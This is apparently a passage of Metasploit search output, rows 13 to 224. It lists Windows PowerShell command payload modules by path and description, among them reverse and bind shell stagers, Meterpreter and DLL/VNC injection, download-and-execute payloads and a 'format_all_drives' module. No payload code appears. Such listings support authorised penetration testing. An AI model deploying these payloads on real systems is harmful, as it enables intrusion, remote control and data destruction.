   13   payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid                                    normal  No     Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   14   payload/cmd/windows/powershell/custom/bind_named_pipe                                       normal  No     Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager
   15   payload/cmd/windows/powershell/custom/bind_nonx_tcp                                         normal  No     Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)
   16   payload/cmd/windows/powershell/custom/bind_tcp                                              normal  No     Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)
   17   payload/cmd/windows/powershell/custom/bind_tcp_rc4                                          normal  No     Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   18   payload/cmd/windows/powershell/custom/bind_tcp_uuid                                         normal  No     Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)
   19   payload/cmd/windows/powershell/custom/reverse_hop_http                                      normal  No     Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager
   20   payload/cmd/windows/powershell/custom/reverse_http                                          normal  No     Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)
   21   payload/cmd/windows/powershell/custom/reverse_http_proxy_pstore                             normal  No     Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy
   22   payload/cmd/windows/powershell/custom/reverse_https                                         normal  No     Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)
   23   payload/cmd/windows/powershell/custom/reverse_https_proxy                                   normal  No     Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy
   24   payload/cmd/windows/powershell/custom/reverse_ipv6_tcp                                      normal  No     Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)
   25   payload/cmd/windows/powershell/custom/reverse_named_pipe                                    normal  No     Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager
   26   payload/cmd/windows/powershell/custom/reverse_nonx_tcp                                      normal  No     Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)
   27   payload/cmd/windows/powershell/custom/reverse_ord_tcp                                       normal  No     Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)
   28   payload/cmd/windows/powershell/custom/reverse_tcp                                           normal  No     Powershell Exec, Windows shellcode stage, Reverse TCP Stager
   29   payload/cmd/windows/powershell/custom/reverse_tcp_allports                                  normal  No     Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager
   30   payload/cmd/windows/powershell/custom/reverse_tcp_dns                                       normal  No     Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)
   31   payload/cmd/windows/powershell/custom/reverse_tcp_rc4                                       normal  No     Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   32   payload/cmd/windows/powershell/custom/reverse_tcp_rc4_dns                                   normal  No     Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   33   payload/cmd/windows/powershell/custom/reverse_tcp_uuid                                      normal  No     Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support
   34   payload/cmd/windows/powershell/custom/reverse_udp                                           normal  No     Powershell Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support
   35   payload/cmd/windows/powershell/custom/reverse_winhttp                                       normal  No     Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)
   36   payload/cmd/windows/powershell/custom/reverse_winhttps                                      normal  No     Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)
   37   payload/cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp                            normal  No     Powershell Exec, Hidden Bind Ipknock TCP Stager
   38   payload/cmd/windows/powershell/dllinject/bind_hidden_tcp                                    normal  No     Powershell Exec, Hidden Bind TCP Stager
   39   payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp                                      normal  No     Powershell Exec, Bind IPv6 TCP Stager (Windows x86)
   40   payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   41   payload/cmd/windows/powershell/dllinject/bind_named_pipe                                    normal  No     Powershell Exec, Windows x86 Bind Named Pipe Stager
   42   payload/cmd/windows/powershell/dllinject/bind_nonx_tcp                                      normal  No     Powershell Exec, Bind TCP Stager (No NX or Win7)
   43   payload/cmd/windows/powershell/dllinject/bind_tcp                                           normal  No     Powershell Exec, Bind TCP Stager (Windows x86)
   44   payload/cmd/windows/powershell/dllinject/bind_tcp_rc4                                       normal  No     Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   45   payload/cmd/windows/powershell/dllinject/bind_tcp_uuid                                      normal  No     Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)
   46   payload/cmd/windows/powershell/dllinject/reverse_hop_http                                   normal  No     Powershell Exec, Reverse Hop HTTP/HTTPS Stager
   47   payload/cmd/windows/powershell/dllinject/reverse_http                                       normal  No     Powershell Exec, Windows Reverse HTTP Stager (wininet)
   48   payload/cmd/windows/powershell/dllinject/reverse_http_proxy_pstore                          normal  No     Powershell Exec, Reverse HTTP Stager Proxy
   49   payload/cmd/windows/powershell/dllinject/reverse_ipv6_tcp                                   normal  No     Powershell Exec, Reverse TCP Stager (IPv6)
   50   payload/cmd/windows/powershell/dllinject/reverse_nonx_tcp                                   normal  No     Powershell Exec, Reverse TCP Stager (No NX or Win7)
   51   payload/cmd/windows/powershell/dllinject/reverse_ord_tcp                                    normal  No     Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)
   52   payload/cmd/windows/powershell/dllinject/reverse_tcp                                        normal  No     Powershell Exec, Reverse TCP Stager
   53   payload/cmd/windows/powershell/dllinject/reverse_tcp_allports                               normal  No     Powershell Exec, Reverse All-Port TCP Stager
   54   payload/cmd/windows/powershell/dllinject/reverse_tcp_dns                                    normal  No     Powershell Exec, Reverse TCP Stager (DNS)
   55   payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4                                    normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   56   payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns                                normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   57   payload/cmd/windows/powershell/dllinject/reverse_tcp_uuid                                   normal  No     Powershell Exec, Reverse TCP Stager with UUID Support
   58   payload/cmd/windows/powershell/dllinject/reverse_winhttp                                    normal  No     Powershell Exec, Windows Reverse HTTP Stager (winhttp)
   59   payload/cmd/windows/powershell/dns_txt_query_exec                                           normal  No     Powershell Exec, DNS TXT Record Payload Download and Execution
   60   payload/cmd/windows/powershell/download_exec                                                normal  No     Powershell Exec, Windows Executable Download (http,https,ftp) and Execute
   61   payload/cmd/windows/powershell/exec                                                         normal  No     Powershell Exec
   62   payload/cmd/windows/powershell/format_all_drives                                            manual  No     Powershell Exec
   63   payload/cmd/windows/powershell/generic/debug_trap                                           normal  No     Powershell Exec, Generic x86 Debug Trap
   64   payload/cmd/windows/powershell/generic/tight_loop                                           normal  No     Powershell Exec, Generic x86 Tight Loop
   65   payload/cmd/windows/powershell/loadlibrary                                                  normal  No     Powershell Exec
   66   payload/cmd/windows/powershell/messagebox                                                   normal  No     Powershell Exec, Windows MessageBox
   67   payload/cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Powershell Exec, Hidden Bind Ipknock TCP Stager
   68   payload/cmd/windows/powershell/meterpreter/bind_hidden_tcp                                  normal  No     Powershell Exec, Hidden Bind TCP Stager
   69   payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp                                    normal  No     Powershell Exec, Bind IPv6 TCP Stager (Windows x86)
   70   payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   71   payload/cmd/windows/powershell/meterpreter/bind_named_pipe                                  normal  No     Powershell Exec, Windows x86 Bind Named Pipe Stager
   72   payload/cmd/windows/powershell/meterpreter/bind_nonx_tcp                                    normal  No     Powershell Exec, Bind TCP Stager (No NX or Win7)
   73   payload/cmd/windows/powershell/meterpreter/bind_tcp                                         normal  No     Powershell Exec, Bind TCP Stager (Windows x86)
   74   payload/cmd/windows/powershell/meterpreter/bind_tcp_rc4                                     normal  No     Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   75   payload/cmd/windows/powershell/meterpreter/bind_tcp_uuid                                    normal  No     Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)
   76   payload/cmd/windows/powershell/meterpreter/reverse_hop_http                                 normal  No     Powershell Exec, Reverse Hop HTTP/HTTPS Stager
   77   payload/cmd/windows/powershell/meterpreter/reverse_http                                     normal  No     Powershell Exec, Windows Reverse HTTP Stager (wininet)
   78   payload/cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore                        normal  No     Powershell Exec, Reverse HTTP Stager Proxy
   79   payload/cmd/windows/powershell/meterpreter/reverse_https                                    normal  No     Powershell Exec, Windows Reverse HTTPS Stager (wininet)
   80   payload/cmd/windows/powershell/meterpreter/reverse_https_proxy                              normal  No     Powershell Exec, Reverse HTTPS Stager with Support for Custom Proxy
   81   payload/cmd/windows/powershell/meterpreter/reverse_ipv6_tcp                                 normal  No     Powershell Exec, Reverse TCP Stager (IPv6)
   82   payload/cmd/windows/powershell/meterpreter/reverse_named_pipe                               normal  No     Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager
   83   payload/cmd/windows/powershell/meterpreter/reverse_nonx_tcp                                 normal  No     Powershell Exec, Reverse TCP Stager (No NX or Win7)
   84   payload/cmd/windows/powershell/meterpreter/reverse_ord_tcp                                  normal  No     Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)
   85   payload/cmd/windows/powershell/meterpreter/reverse_tcp                                      normal  No     Powershell Exec, Reverse TCP Stager
   86   payload/cmd/windows/powershell/meterpreter/reverse_tcp_allports                             normal  No     Powershell Exec, Reverse All-Port TCP Stager
   87   payload/cmd/windows/powershell/meterpreter/reverse_tcp_dns                                  normal  No     Powershell Exec, Reverse TCP Stager (DNS)
   88   payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4                                  normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   89   payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns                              normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   90   payload/cmd/windows/powershell/meterpreter/reverse_tcp_uuid                                 normal  No     Powershell Exec, Reverse TCP Stager with UUID Support
   91   payload/cmd/windows/powershell/meterpreter/reverse_winhttp                                  normal  No     Powershell Exec, Windows Reverse HTTP Stager (winhttp)
   92   payload/cmd/windows/powershell/meterpreter/reverse_winhttps                                 normal  No     Powershell Exec, Windows Reverse HTTPS Stager (winhttp)
   93   payload/cmd/windows/powershell/metsvc_bind_tcp                                              normal  No     Powershell Exec, Windows Meterpreter Service, Bind TCP
   94   payload/cmd/windows/powershell/metsvc_reverse_tcp                                           normal  No     Powershell Exec, Windows Meterpreter Service, Reverse TCP Inline
   95   payload/cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Powershell Exec, Hidden Bind Ipknock TCP Stager
   96   payload/cmd/windows/powershell/patchupdllinject/bind_hidden_tcp                             normal  No     Powershell Exec, Hidden Bind TCP Stager
   97   payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp                               normal  No     Powershell Exec, Bind IPv6 TCP Stager (Windows x86)
   98   payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   99   payload/cmd/windows/powershell/patchupdllinject/bind_named_pipe                             normal  No     Powershell Exec, Windows x86 Bind Named Pipe Stager
   100  payload/cmd/windows/powershell/patchupdllinject/bind_nonx_tcp                               normal  No     Powershell Exec, Bind TCP Stager (No NX or Win7)
   101  payload/cmd/windows/powershell/patchupdllinject/bind_tcp                                    normal  No     Powershell Exec, Bind TCP Stager (Windows x86)
   102  payload/cmd/windows/powershell/patchupdllinject/bind_tcp_rc4                                normal  No     Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   103  payload/cmd/windows/powershell/patchupdllinject/bind_tcp_uuid                               normal  No     Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)
   104  payload/cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp                            normal  No     Powershell Exec, Reverse TCP Stager (IPv6)
   105  payload/cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp                            normal  No     Powershell Exec, Reverse TCP Stager (No NX or Win7)
   106  payload/cmd/windows/powershell/patchupdllinject/reverse_ord_tcp                             normal  No     Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)
   107  payload/cmd/windows/powershell/patchupdllinject/reverse_tcp                                 normal  No     Powershell Exec, Reverse TCP Stager
   108  payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_allports                        normal  No     Powershell Exec, Reverse All-Port TCP Stager
   109  payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_dns                             normal  No     Powershell Exec, Reverse TCP Stager (DNS)
   110  payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4                             normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   111  payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   112  payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid                            normal  No     Powershell Exec, Reverse TCP Stager with UUID Support
   113  payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Powershell Exec, Hidden Bind Ipknock TCP Stager
   114  payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp                           normal  No     Powershell Exec, Hidden Bind TCP Stager
   115  payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Powershell Exec, Bind IPv6 TCP Stager (Windows x86)
   116  payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   117  payload/cmd/windows/powershell/patchupmeterpreter/bind_named_pipe                           normal  No     Powershell Exec, Windows x86 Bind Named Pipe Stager
   118  payload/cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp                             normal  No     Powershell Exec, Bind TCP Stager (No NX or Win7)
   119  payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp                                  normal  No     Powershell Exec, Bind TCP Stager (Windows x86)
   120  payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4                              normal  No     Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   121  payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid                             normal  No     Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)
   122  payload/cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Powershell Exec, Reverse TCP Stager (IPv6)
   123  payload/cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Powershell Exec, Reverse TCP Stager (No NX or Win7)
   124  payload/cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp                           normal  No     Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)
   125  payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp                               normal  No     Powershell Exec, Reverse TCP Stager
   126  payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports                      normal  No     Powershell Exec, Reverse All-Port TCP Stager
   127  payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns                           normal  No     Powershell Exec, Reverse TCP Stager (DNS)
   128  payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   129  payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   130  payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Powershell Exec, Reverse TCP Stager with UUID Support
   131  payload/cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp                             normal  No     Powershell Exec, Hidden Bind Ipknock TCP Stager
   132  payload/cmd/windows/powershell/peinject/bind_hidden_tcp                                     normal  No     Powershell Exec, Hidden Bind TCP Stager
   133  payload/cmd/windows/powershell/peinject/bind_ipv6_tcp                                       normal  No     Powershell Exec, Bind IPv6 TCP Stager (Windows x86)
   134  payload/cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid                                  normal  No     Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   135  payload/cmd/windows/powershell/peinject/bind_named_pipe                                     normal  No     Powershell Exec, Windows x86 Bind Named Pipe Stager
   136  payload/cmd/windows/powershell/peinject/bind_nonx_tcp                                       normal  No     Powershell Exec, Bind TCP Stager (No NX or Win7)
   137  payload/cmd/windows/powershell/peinject/bind_tcp                                            normal  No     Powershell Exec, Bind TCP Stager (Windows x86)
   138  payload/cmd/windows/powershell/peinject/bind_tcp_rc4                                        normal  No     Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   139  payload/cmd/windows/powershell/peinject/bind_tcp_uuid                                       normal  No     Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)
   140  payload/cmd/windows/powershell/peinject/reverse_ipv6_tcp                                    normal  No     Powershell Exec, Reverse TCP Stager (IPv6)
   141  payload/cmd/windows/powershell/peinject/reverse_named_pipe                                  normal  No     Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager
   142  payload/cmd/windows/powershell/peinject/reverse_nonx_tcp                                    normal  No     Powershell Exec, Reverse TCP Stager (No NX or Win7)
   143  payload/cmd/windows/powershell/peinject/reverse_ord_tcp                                     normal  No     Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)
   144  payload/cmd/windows/powershell/peinject/reverse_tcp                                         normal  No     Powershell Exec, Reverse TCP Stager
   145  payload/cmd/windows/powershell/peinject/reverse_tcp_allports                                normal  No     Powershell Exec, Reverse All-Port TCP Stager
   146  payload/cmd/windows/powershell/peinject/reverse_tcp_dns                                     normal  No     Powershell Exec, Reverse TCP Stager (DNS)
   147  payload/cmd/windows/powershell/peinject/reverse_tcp_rc4                                     normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   148  payload/cmd/windows/powershell/peinject/reverse_tcp_rc4_dns                                 normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   149  payload/cmd/windows/powershell/peinject/reverse_tcp_uuid                                    normal  No     Powershell Exec, Reverse TCP Stager with UUID Support
   150  payload/cmd/windows/powershell/pingback_bind_tcp                                            normal  No     Powershell Exec, Windows x86 Pingback, Bind TCP Inline
   151  payload/cmd/windows/powershell/pingback_reverse_tcp                                         normal  No     Powershell Exec, Windows x86 Pingback, Reverse TCP Inline
   152  payload/cmd/windows/powershell/powershell_bind_tcp                                          normal  No     Powershell Exec
   153  payload/cmd/windows/powershell/powershell_reverse_tcp                                       normal  No     Powershell Exec
   154  payload/cmd/windows/powershell/powershell_reverse_tcp_ssl                                   normal  No     Powershell Exec
   155  payload/cmd/windows/powershell/shell/bind_hidden_ipknock_tcp                                normal  No     Powershell Exec, Windows Command Shell, Hidden Bind Ipknock TCP Stager
   156  payload/cmd/windows/powershell/shell/bind_hidden_tcp                                        normal  No     Powershell Exec, Windows Command Shell, Hidden Bind TCP Stager
   157  payload/cmd/windows/powershell/shell/bind_ipv6_tcp                                          normal  No     Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   158  payload/cmd/windows/powershell/shell/bind_ipv6_tcp_uuid                                     normal  No     Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   159  payload/cmd/windows/powershell/shell/bind_named_pipe                                        normal  No     Powershell Exec, Windows Command Shell, Windows x86 Bind Named Pipe Stager
   160  payload/cmd/windows/powershell/shell/bind_nonx_tcp                                          normal  No     Powershell Exec, Windows Command Shell, Bind TCP Stager (No NX or Win7)
   161  payload/cmd/windows/powershell/shell/bind_tcp                                               normal  No     Powershell Exec, Windows Command Shell, Bind TCP Stager (Windows x86)
   162  payload/cmd/windows/powershell/shell/bind_tcp_rc4                                           normal  No     Powershell Exec, Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   163  payload/cmd/windows/powershell/shell/bind_tcp_uuid                                          normal  No     Powershell Exec, Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   164  payload/cmd/windows/powershell/shell/reverse_ipv6_tcp                                       normal  No     Powershell Exec, Windows Command Shell, Reverse TCP Stager (IPv6)
   165  payload/cmd/windows/powershell/shell/reverse_nonx_tcp                                       normal  No     Powershell Exec, Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   166  payload/cmd/windows/powershell/shell/reverse_ord_tcp                                        normal  No     Powershell Exec, Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   167  payload/cmd/windows/powershell/shell/reverse_tcp                                            normal  No     Powershell Exec, Windows Command Shell, Reverse TCP Stager
   168  payload/cmd/windows/powershell/shell/reverse_tcp_allports                                   normal  No     Powershell Exec, Windows Command Shell, Reverse All-Port TCP Stager
   169  payload/cmd/windows/powershell/shell/reverse_tcp_dns                                        normal  No     Powershell Exec, Windows Command Shell, Reverse TCP Stager (DNS)
   170  payload/cmd/windows/powershell/shell/reverse_tcp_rc4                                        normal  No     Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   171  payload/cmd/windows/powershell/shell/reverse_tcp_rc4_dns                                    normal  No     Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   172  payload/cmd/windows/powershell/shell/reverse_tcp_uuid                                       normal  No     Powershell Exec, Windows Command Shell, Reverse TCP Stager with UUID Support
   173  payload/cmd/windows/powershell/shell/reverse_udp                                            normal  No     Powershell Exec, Windows Command Shell, Reverse UDP Stager with UUID Support
   174  payload/cmd/windows/powershell/shell_bind_tcp                                               normal  No     Powershell Exec, Windows Command Shell, Bind TCP Inline
   175  payload/cmd/windows/powershell/shell_bind_tcp_xpfw                                          normal  No     Powershell Exec, Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   176  payload/cmd/windows/powershell/shell_hidden_bind_tcp                                        normal  No     Powershell Exec, Windows Command Shell, Hidden Bind TCP Inline
   177  payload/cmd/windows/powershell/shell_reverse_tcp                                            normal  No     Powershell Exec, Windows Command Shell, Reverse TCP Inline
   178  payload/cmd/windows/powershell/speak_pwned                                                  normal  No     Powershell Exec
   179  payload/cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp                               normal  No     Powershell Exec, Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   180  payload/cmd/windows/powershell/upexec/bind_hidden_tcp                                       normal  No     Powershell Exec, Windows Upload/Execute, Hidden Bind TCP Stager
   181  payload/cmd/windows/powershell/upexec/bind_ipv6_tcp                                         normal  No     Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   182  payload/cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid                                    normal  No     Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   183  payload/cmd/windows/powershell/upexec/bind_named_pipe                                       normal  No     Powershell Exec, Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   184  payload/cmd/windows/powershell/upexec/bind_nonx_tcp                                         normal  No     Powershell Exec, Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   185  payload/cmd/windows/powershell/upexec/bind_tcp                                              normal  No     Powershell Exec, Windows Upload/Execute, Bind TCP Stager (Windows x86)
   186  payload/cmd/windows/powershell/upexec/bind_tcp_rc4                                          normal  No     Powershell Exec, Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   187  payload/cmd/windows/powershell/upexec/bind_tcp_uuid                                         normal  No     Powershell Exec, Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   188  payload/cmd/windows/powershell/upexec/reverse_ipv6_tcp                                      normal  No     Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (IPv6)
   189  payload/cmd/windows/powershell/upexec/reverse_nonx_tcp                                      normal  No     Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   190  payload/cmd/windows/powershell/upexec/reverse_ord_tcp                                       normal  No     Powershell Exec, Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   191  payload/cmd/windows/powershell/upexec/reverse_tcp                                           normal  No     Powershell Exec, Windows Upload/Execute, Reverse TCP Stager
   192  payload/cmd/windows/powershell/upexec/reverse_tcp_allports                                  normal  No     Powershell Exec, Windows Upload/Execute, Reverse All-Port TCP Stager
   193  payload/cmd/windows/powershell/upexec/reverse_tcp_dns                                       normal  No     Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (DNS)
   194  payload/cmd/windows/powershell/upexec/reverse_tcp_rc4                                       normal  No     Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   195  payload/cmd/windows/powershell/upexec/reverse_tcp_rc4_dns                                   normal  No     Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   196  payload/cmd/windows/powershell/upexec/reverse_tcp_uuid                                      normal  No     Powershell Exec, Windows Upload/Execute, Reverse TCP Stager with UUID Support
   197  payload/cmd/windows/powershell/upexec/reverse_udp                                           normal  No     Powershell Exec, Windows Upload/Execute, Reverse UDP Stager with UUID Support
   198  payload/cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp                            normal  No     Powershell Exec, Hidden Bind Ipknock TCP Stager
   199  payload/cmd/windows/powershell/vncinject/bind_hidden_tcp                                    normal  No     Powershell Exec, Hidden Bind TCP Stager
   200  payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp                                      normal  No     Powershell Exec, Bind IPv6 TCP Stager (Windows x86)
   201  payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid                                 normal  No     Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   202  payload/cmd/windows/powershell/vncinject/bind_named_pipe                                    normal  No     Powershell Exec, Windows x86 Bind Named Pipe Stager
   203  payload/cmd/windows/powershell/vncinject/bind_nonx_tcp                                      normal  No     Powershell Exec, Bind TCP Stager (No NX or Win7)
   204  payload/cmd/windows/powershell/vncinject/bind_tcp                                           normal  No     Powershell Exec, Bind TCP Stager (Windows x86)
   205  payload/cmd/windows/powershell/vncinject/bind_tcp_rc4                                       normal  No     Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   206  payload/cmd/windows/powershell/vncinject/bind_tcp_uuid                                      normal  No     Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)
   207  payload/cmd/windows/powershell/vncinject/reverse_hop_http                                   normal  No     Powershell Exec, Reverse Hop HTTP/HTTPS Stager
   208  payload/cmd/windows/powershell/vncinject/reverse_http                                       normal  No     Powershell Exec, Windows Reverse HTTP Stager (wininet)
   209  payload/cmd/windows/powershell/vncinject/reverse_http_proxy_pstore                          normal  No     Powershell Exec, Reverse HTTP Stager Proxy
   210  payload/cmd/windows/powershell/vncinject/reverse_ipv6_tcp                                   normal  No     Powershell Exec, Reverse TCP Stager (IPv6)
   211  payload/cmd/windows/powershell/vncinject/reverse_nonx_tcp                                   normal  No     Powershell Exec, Reverse TCP Stager (No NX or Win7)
   212  payload/cmd/windows/powershell/vncinject/reverse_ord_tcp                                    normal  No     Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)
   213  payload/cmd/windows/powershell/vncinject/reverse_tcp                                        normal  No     Powershell Exec, Reverse TCP Stager
   214  payload/cmd/windows/powershell/vncinject/reverse_tcp_allports                               normal  No     Powershell Exec, Reverse All-Port TCP Stager
   215  payload/cmd/windows/powershell/vncinject/reverse_tcp_dns                                    normal  No     Powershell Exec, Reverse TCP Stager (DNS)
   216  payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4                                    normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   217  payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns                                normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   218  payload/cmd/windows/powershell/vncinject/reverse_tcp_uuid                                   normal  No     Powershell Exec, Reverse TCP Stager with UUID Support
   219  payload/cmd/windows/powershell/vncinject/reverse_winhttp                                    normal  No     Powershell Exec, Windows Reverse HTTP Stager (winhttp)
   220  payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp                                     normal  No     Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager
   221  payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid                                normal  No     Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support
   222  payload/cmd/windows/powershell/x64/custom/bind_named_pipe                                   normal  No     Powershell Exec, Windows shellcode stage, Windows x64 Bind Named Pipe Stager
   223  payload/cmd/windows/powershell/x64/custom/bind_tcp                                          normal  No     Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager
   224  payload/cmd/windows/powershell/x64/custom/bind_tcp_rc4                                      normal  No     Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)
